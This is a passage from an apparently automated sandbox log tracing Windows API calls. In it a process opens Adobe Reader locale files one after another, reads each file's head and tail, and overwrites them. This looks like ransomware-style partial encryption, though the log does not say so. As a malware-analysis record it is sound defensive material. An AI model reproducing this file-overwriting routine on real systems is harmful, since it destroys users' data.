(hMutex=0x128) returned 1 [0039.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0039.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.TUR", cchWideChar=14, lpMultiByteStr=0x1e6342c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.TUR", lpUsedDefaultChar=0x0) returned 14 [0039.145] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.387] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x11e00 [0039.387] ReadFile (in: hFile=0x184, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.453] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x11e00 [0039.453] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.454] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.454] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.454] CloseHandle (hObject=0x184) returned 1 [0039.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.454] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.454] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe5 [0039.454] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.454] ReleaseMutex (hMutex=0x128) returned 1 [0039.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.455] ReadFile (in: hFile=0x184, lpBuffer=0x25ea748, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea748*, lpNumberOfBytesRead=0x2b0f2bc*=0xe5, lpOverlapped=0x0) returned 1 [0039.455] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.455] WriteFile (in: hFile=0x184, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66d, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x66d, lpOverlapped=0x0) returned 1 [0039.456] CloseHandle (hObject=0x184) returned 1 [0039.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\digsig.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.456] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.456] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e800 [0039.456] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.456] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.456] ReleaseMutex (hMutex=0x128) returned 1 [0039.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.UKR", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.UKR", lpUsedDefaultChar=0x0) returned 10 [0039.456] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.464] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1d800 [0039.464] ReadFile (in: hFile=0x184, lpBuffer=0x2769058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.471] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1d800 [0039.472] WriteFile (in: hFile=0x184, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.472] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.472] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.472] CloseHandle (hObject=0x184) returned 1 [0039.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\ReadOutLoud.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\readoutloud.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.473] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.473] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2c00 [0039.473] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.473] ReleaseMutex (hMutex=0x128) returned 1 [0039.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0039.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x1e6302c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.UKR", lpUsedDefaultChar=0x0) returned 15 [0039.473] ReadFile (in: hFile=0x184, lpBuffer=0x2769058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.479] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1c00 [0039.479] ReadFile (in: hFile=0x184, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.480] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1c00 [0039.480] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.481] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.481] WriteFile (in: hFile=0x184, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.481] CloseHandle (hObject=0x184) returned 1 [0039.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\accessibility.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\accessibility.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.481] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.481] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6e00 [0039.481] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.481] ReleaseMutex (hMutex=0x128) returned 1 [0039.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHS", lpUsedDefaultChar=0x0) returned 17 [0039.481] ReadFile (in: hFile=0x184, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.493] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e00 [0039.493] ReadFile (in: hFile=0x184, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.498] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e00 [0039.498] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.498] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.498] WriteFile (in: hFile=0x184, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.499] CloseHandle (hObject=0x184) returned 1 [0039.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\IA32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ia32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.512] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.512] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc00 [0039.512] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.512] ReleaseMutex (hMutex=0x128) returned 1 [0039.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0039.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHS", lpUsedDefaultChar=0x0) returned 8 [0039.512] ReadFile (in: hFile=0x184, lpBuffer=0x2732c08, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2b0f2bc*=0xc00, lpOverlapped=0x0) returned 1 [0039.518] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.518] WriteFile (in: hFile=0x184, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1188, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1188, lpOverlapped=0x0) returned 1 [0039.519] CloseHandle (hObject=0x184) returned 1 [0039.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SendMail.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\sendmail.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2e00 [0039.528] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.528] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.528] ReleaseMutex (hMutex=0x128) returned 1 [0039.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHS", lpUsedDefaultChar=0x0) returned 12 [0039.528] ReadFile (in: hFile=0x1d4, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.535] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1e00 [0039.535] ReadFile (in: hFile=0x1d4, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.541] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1e00 [0039.541] WriteFile (in: hFile=0x1d4, lpBuffer=0x2611c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2611c48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.542] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.542] WriteFile (in: hFile=0x1d4, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.542] CloseHandle (hObject=0x1d4) returned 1 [0039.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\BRdlang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\brdlang32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.543] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.543] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0039.543] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.543] ReleaseMutex (hMutex=0x128) returned 1 [0039.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHT", lpUsedDefaultChar=0x0) returned 13 [0039.543] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0039.554] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.554] WriteFile (in: hFile=0x1d4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0039.555] CloseHandle (hObject=0x1d4) returned 1 [0039.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\PPKLITE.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ppklite.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.555] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.555] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4e000 [0039.555] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.555] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.555] ReleaseMutex (hMutex=0x128) returned 1 [0039.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.CHT", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.CHT", lpUsedDefaultChar=0x0) returned 11 [0039.555] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.563] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4d000 [0039.563] ReadFile (in: hFile=0x1d4, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.573] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4d000 [0039.573] WriteFile (in: hFile=0x1d4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, 